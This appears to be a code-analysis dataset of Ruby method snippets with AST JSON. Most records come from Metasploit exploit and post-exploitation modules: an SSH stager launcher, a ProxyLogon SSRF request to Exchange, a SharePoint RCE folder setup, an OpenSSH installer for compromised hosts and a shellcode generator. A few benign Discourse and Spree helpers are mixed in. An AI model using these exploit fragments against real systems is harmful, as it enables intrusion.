{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/ssh/sshexec.rb","start_line":225,"raw_source":"def exploit\n    do_login(datastore['RHOST'], datastore['USERNAME'], datastore['PASSWORD'], datastore['RPORT'])\n\n    if target.name == 'Interactive SSH'\n      handler(ssh_socket)\n      return\n    end\n\n    print_status(\"#{datastore['RHOST']}:#{datastore['RPORT']} - Sending stager...\")\n\n    case target['Platform']\n    when 'python'\n      execute_python\n    when 'unix'\n      execute_command(payload.encoded)\n    else\n      if target['Arch'] == ARCH_CMD\n        execute_command(payload.encoded)\n      else\n        execute_cmdstager(linemax: 500)\n      end\n    end\n\n    @timeout ? ssh_socket.shutdown! : ssh_socket.close\n  end","complexity_score":52.15,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"do_login\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RHOST\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"USERNAME\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RPORT\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"name\"]},\"==\",{\"type\":\"str\",\"children\":[\"Interactive SSH\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"handler\",{\"type\":\"send\",\"children\":[null,\"ssh_socket\"]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RHOST\"]}]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RPORT\"]}]}]},{\"type\":\"str\",\"children\":[\" - Sending stager...\"]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Platform\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"python\"]},{\"type\":\"send\",\"children\":[null,\"execute_python\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"unix\"]},{\"type\":\"send\",\"children\":[null,\"execute_command\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Arch\"]}]},\"==\",{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]},{\"type\":\"send\",\"children\":[null,\"execute_command\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]},{\"type\":\"send\",\"children\":[null,\"execute_cmdstager\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"linemax\"]},{\"type\":\"int\",\"children\":[500]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@timeout\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ssh_socket\"]},\"shutdown!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ssh_socket\"]},\"close\"]}]}]}]}","id":"ac2e1667-96db-4dff-b2f4-e181dc9856ef"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/completions/dialects/open_ai_tools.rb","start_line":12,"raw_source":"def translated_tools\n          if @responses_api\n            raw_tools.map do |tool|\n              {\n                type: \"function\",\n                name: tool.name,\n                description: tool.description,\n                parameters: tool.parameters_json_schema,\n              }\n            end\n          else\n            raw_tools.map do |tool|\n              {\n                type: \"function\",\n                function: {\n                  name: tool.name,\n                  description: tool.description,\n                  parameters: tool.parameters_json_schema,\n                },\n              }\n            end\n          end\n        end","complexity_score":15.2,"ast_json":"{\"type\":\"def\",\"children\":[\"translated_tools\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@responses_api\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"raw_tools\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tool\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"function\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tool\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tool\"]},\"description\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"parameters\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tool\"]},\"parameters_json_schema\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"raw_tools\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tool\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"function\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"function\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tool\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tool\"]},\"description\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"parameters\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tool\"]},\"parameters_json_schema\"]}]}]}]}]}]}]}]}","id":"cc3364b3-4933-4de5-951d-f018d0c49ba9"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/onebox/mixins/twitch_onebox.rb","start_line":26,"raw_source":"def to_html\n          <<~HTML\n          <iframe src=\"https://#{base_url}#{query_params}&parent=#{Discourse.current_hostname}&autoplay=false\" width=\"620\" height=\"378\" frameborder=\"0\" style=\"overflow: hidden;\" scrolling=\"no\" allowfullscreen=\"allowfullscreen\"></iframe>\n          HTML\n        end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"to_html\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<iframe src=\\\"https://\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"base_url\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"query_params\"]}]},{\"type\":\"str\",\"children\":[\"&parent=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"current_hostname\"]}]},{\"type\":\"str\",\"children\":[\"&autoplay=false\\\" width=\\\"620\\\" height=\\\"378\\\" frameborder=\\\"0\\\" style=\\\"overflow: hidden;\\\" scrolling=\\\"no\\\" allowfullscreen=\\\"allowfullscreen\\\"></iframe>\\n\"]}]}]}","id":"2b5f251a-c8fc-4f91-a61a-785646516996"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/exchange_proxylogon_rce.rb","start_line":225,"raw_source":"def request_autodiscover(server_name)\n    xmlns = { 'xmlns' => 'http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a' }\n\n    response = send_http(\n      'POST',\n      \"[:[@#{server_name}/autodiscover/autodiscover.xml?a=~#{random_ssrf_id}\",\n      data: soap_autodiscover,\n      ctype: 'text/xml; charset=utf-8'\n    )\n\n    case response.body\n    when %r{<ErrorCode>500</ErrorCode>}\n      fail_with(Failure::NotFound, 'No Autodiscover information was found')\n    when %r{<Action>redirectAddr</Action>}\n      fail_with(Failure::NotFound, 'No email address was found')\n    end\n\n    xml = Nokogiri::XML.parse(response.body)\n\n    legacy_dn = xml.at_xpath('//xmlns:User/xmlns:LegacyDN', xmlns)&.content\n    fail_with(Failure::NotFound, 'No \\'LegacyDN\\' was found') if legacy_dn.nil? || legacy_dn.empty?\n\n    server = ''\n    xml.xpath('//xmlns:Account/xmlns:Protocol', xmlns).each do |item|\n      type = item.at_xpath('./xmlns:Type', xmlns)&.content\n      if type == 'EXCH'\n        server = item.at_xpath('./xmlns:Server', xmlns)&.content\n      end\n    end\n    fail_with(Failure::NotFound, 'No \\'Server ID\\' was found') if server.nil? || server.empty?\n\n    [server, legacy_dn]\n  end","complexity_score":43.8,"ast_json":"{\"type\":\"def\",\"children\":[\"request_autodiscover\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"server_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"xmlns\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"xmlns\"]},{\"type\":\"str\",\"children\":[\"http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[null,\"send_http\",{\"type\":\"str\",\"children\":[\"POST\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"[:[@\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"server_name\"]}]},{\"type\":\"str\",\"children\":[\"/autodiscover/autodiscover.xml?a=~\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"random_ssrf_id\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"send\",\"children\":[null,\"soap_autodiscover\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ctype\"]},{\"type\":\"str\",\"children\":[\"text/xml; charset=utf-8\"]}]}]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"body\"]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"<ErrorCode>500</ErrorCode>\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NotFound\"]},{\"type\":\"str\",\"children\":[\"No Autodiscover information was found\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"<Action>redirectAddr</Action>\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NotFound\"]},{\"type\":\"str\",\"children\":[\"No email address was found\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"xml\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Nokogiri\"]},\"XML\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"body\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"legacy_dn\",{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xml\"]},\"at_xpath\",{\"type\":\"str\",\"children\":[\"//xmlns:User/xmlns:LegacyDN\"]},{\"type\":\"lvar\",\"children\":[\"xmlns\"]}]},\"content\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"legacy_dn\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"legacy_dn\"]},\"empty?\"]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NotFound\"]},{\"type\":\"str\",\"children\":[\"No 'LegacyDN' was found\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"server\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xml\"]},\"xpath\",{\"type\":\"str\",\"children\":[\"//xmlns:Account/xmlns:Protocol\"]},{\"type\":\"lvar\",\"children\":[\"xmlns\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"item\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"type\",{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"at_xpath\",{\"type\":\"str\",\"children\":[\"./xmlns:Type\"]},{\"type\":\"lvar\",\"children\":[\"xmlns\"]}]},\"content\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"==\",{\"type\":\"str\",\"children\":[\"EXCH\"]}]},{\"type\":\"lvasgn\",\"children\":[\"server\",{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"at_xpath\",{\"type\":\"str\",\"children\":[\"./xmlns:Server\"]},{\"type\":\"lvar\",\"children\":[\"xmlns\"]}]},\"content\"]}]},null]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"server\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"server\"]},\"empty?\"]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NotFound\"]},{\"type\":\"str\",\"children\":[\"No 'Server ID' was found\"]}]},null]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"server\"]},{\"type\":\"lvar\",\"children\":[\"legacy_dn\"]}]}]}]}","id":"cd22fa55-9aaf-4eff-be4a-90fbf4a4c33e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/sharepoint_dynamic_proxy_generator_auth_bypass_rce.rb","start_line":309,"raw_source":"def ensure_target_dir_present\n    res = send_get_request('/_api/web/GetFolderByServerRelativeUrl(\\'/\\')/Folders')\n    @backup_bdc_metadata = ''\n    if res&.code == 200 && res&.body&.include?('BusinessDataMetadataCatalog')\n      print_status('BDCMetadata file already present on the remote host, backing it up.')\n      res_bdc_metadata = send_get_request(\"/_api/web/GetFileByServerRelativePath(decodedurl='/BusinessDataMetadataCatalog/BDCMetadata.bdcm')/$value\")\n      if res_bdc_metadata&.code == 200 && !res_bdc_metadata&.body&.empty?\n        @backup_bdc_metadata = res_bdc_metadata.body\n        store_bdcmetadata_loot(res_bdc_metadata.body)\n      else\n        print_warning('Failed to backup the existing BDCMetadata.bdcm file')\n      end\n    else\n      body = { 'ServerRelativeUrl' => '/BusinessDataMetadataCatalog/' }\n      res_json = send_json_request('/_api/web/folders', body)\n      if res_json&.code == 201\n        print_status('Created BDCM Folder')\n      else\n        fail_with(Failure::UnexpectedReply, 'Unable to create the BDCM folder')\n      end\n    end\n  end","complexity_score":41.45,"ast_json":"{\"type\":\"def\",\"children\":[\"ensure_target_dir_present\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_get_request\",{\"type\":\"str\",\"children\":[\"/_api/web/GetFolderByServerRelativeUrl('/')/Folders\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@backup_bdc_metadata\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"include?\",{\"type\":\"str\",\"children\":[\"BusinessDataMetadataCatalog\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"BDCMetadata file already present on the remote host, backing it up.\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res_bdc_metadata\",{\"type\":\"send\",\"children\":[null,\"send_get_request\",{\"type\":\"str\",\"children\":[\"/_api/web/GetFileByServerRelativePath(decodedurl='/BusinessDataMetadataCatalog/BDCMetadata.bdcm')/$value\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res_bdc_metadata\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res_bdc_metadata\"]},\"body\"]},\"empty?\"]},\"!\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@backup_bdc_metadata\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res_bdc_metadata\"]},\"body\"]}]},{\"type\":\"send\",\"children\":[null,\"store_bdcmetadata_loot\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res_bdc_metadata\"]},\"body\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_warning\",{\"type\":\"str\",\"children\":[\"Failed to backup the existing BDCMetadata.bdcm file\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"body\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ServerRelativeUrl\"]},{\"type\":\"str\",\"children\":[\"/BusinessDataMetadataCatalog/\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res_json\",{\"type\":\"send\",\"children\":[null,\"send_json_request\",{\"type\":\"str\",\"children\":[\"/_api/web/folders\"]},{\"type\":\"lvar\",\"children\":[\"body\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res_json\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[201]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Created BDCM Folder\"]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"str\",\"children\":[\"Unable to create the BDCM folder\"]}]}]}]}]}]}]}","id":"492f2ed4-5b14-4b80-a679-4aa9f22fe802"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/apps/rails2/app/controllers/emails_controller.rb","start_line":6,"raw_source":"def show_email_1\n    @email = Email.find 1\n  end","complexity_score":2.3,"ast_json":"{\"type\":\"def\",\"children\":[\"show_email_1\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@email\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Email\"]},\"find\",{\"type\":\"int\",\"children\":[1]}]}]}]}","id":"c4c16a1f-bfc9-49a6-aedf-cec68ce09c2d"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/helpers/spree/products_helper.rb","start_line":61,"raw_source":"def cache_key_for_product(product = @product)\n      cache_key_elements = common_product_cache_keys\n      cache_key_elements += [\n        product.cache_key_with_version,\n        product.possible_promotions.map(&:cache_key)\n      ]\n\n      cache_key_elements.compact.join('/')\n    end","complexity_score":12.4,"ast_json":"{\"type\":\"def\",\"children\":[\"cache_key_for_product\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"product\",{\"type\":\"ivar\",\"children\":[\"@product\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cache_key_elements\",{\"type\":\"send\",\"children\":[null,\"common_product_cache_keys\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cache_key_elements\"]},\"+\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"product\"]},\"cache_key_with_version\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"product\"]},\"possible_promotions\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"cache_key\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cache_key_elements\"]},\"compact\"]},\"join\",{\"type\":\"str\",\"children\":[\"/\"]}]}]}]}","id":"5ea7bdd8-3681-4217-9e62-9674c900754a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/manage/install_ssh.rb","start_line":49,"raw_source":"def run\n    # check admin privileges\n    unless is_system? || is_admin?\n      fail_with(Failure::NotVulnerable, 'Insufficient privileges to install or remove OpenSSH')\n    end\n\n    # check if PowerShell is available\n    psh_path = '\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe'\n    if !file? \"%WINDIR%\\\\System32#{psh_path}\"\n      fail_with(Failure::NotVulnerable, 'No powershell available.')\n    end\n\n    # uninstall OpenSSH.Server\n    if datastore['UNINSTALL_SERVER']\n      print_status('Uninstalling OpenSSH.Server')\n      uninstall_ssh_server\n    end\n\n    # unintall OpenSSH.Client\n    if datastore['UNINSTALL_CLIENT']\n      print_status('Uninstalling OpenSSH.Client')\n      uninstall_ssh_client\n    end\n\n    # install OpenSSH.Server\n    if datastore['INSTALL_SERVER']\n      print_status('Installing OpenSSH.Server')\n      install_ssh_server\n    end\n\n    # install OpenSSH.Client\n    if datastore['INSTALL_CLIENT']\n      print_status('Installing OpenSSH.Client')\n      install_ssh_client\n    end\n  end","complexity_score":33.0,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"is_system?\"]},{\"type\":\"send\",\"children\":[null,\"is_admin?\"]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NotVulnerable\"]},{\"type\":\"str\",\"children\":[\"Insufficient privileges to install or remove OpenSSH\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"psh_path\",{\"type\":\"str\",\"children\":[\"\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"file?\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"%WINDIR%\\\\System32\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"psh_path\"]}]}]}]},\"!\"]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NotVulnerable\"]},{\"type\":\"str\",\"children\":[\"No powershell available.\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"UNINSTALL_SERVER\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Uninstalling OpenSSH.Server\"]}]},{\"type\":\"send\",\"children\":[null,\"uninstall_ssh_server\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"UNINSTALL_CLIENT\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Uninstalling OpenSSH.Client\"]}]},{\"type\":\"send\",\"children\":[null,\"uninstall_ssh_client\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"INSTALL_SERVER\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Installing OpenSSH.Server\"]}]},{\"type\":\"send\",\"children\":[null,\"install_ssh_server\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"INSTALL_CLIENT\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Installing OpenSSH.Client\"]}]},{\"type\":\"send\",\"children\":[null,\"install_ssh_client\"]}]},null]}]}]}","id":"b0b337c3-254c-4014-96a5-dce4c6052e34"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/nagios_xi_snmptrap_authenticated_rce.rb","start_line":85,"raw_source":"def finish_install\n    datastore['FINISH_INSTALL']\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"finish_install\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"FINISH_INSTALL\"]}]}]}","id":"430c92ca-19b5-4d46-b102-75f2b4bd9655"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/payload/windows/bind_named_pipe.rb","start_line":61,"raw_source":"def generate_bind_named_pipe(opts={})\n    combined_asm = %Q^\n      cld                     ; Clear the direction flag.\n      call start              ; Call start, this pushes the address of 'api_call' onto the stack.\n      #{asm_block_api}\n      start:\n        pop ebp               ; block API pointer\n      #{asm_bind_named_pipe(opts)}\n    ^\n    Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string\n  end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_bind_named_pipe\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"combined_asm\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"      cld                     ; Clear the direction flag.\\n\"]},{\"type\":\"str\",\"children\":[\"      call start              ; Call start, this pushes the address of 'api_call' onto the stack.\\n\"]},{\"type\":\"str\",\"children\":[\"      \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"asm_block_api\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"      start:\\n\"]},{\"type\":\"str\",\"children\":[\"        pop ebp               ; block API pointer\\n\"]},{\"type\":\"str\",\"children\":[\"      \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"asm_bind_named_pipe\",{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"    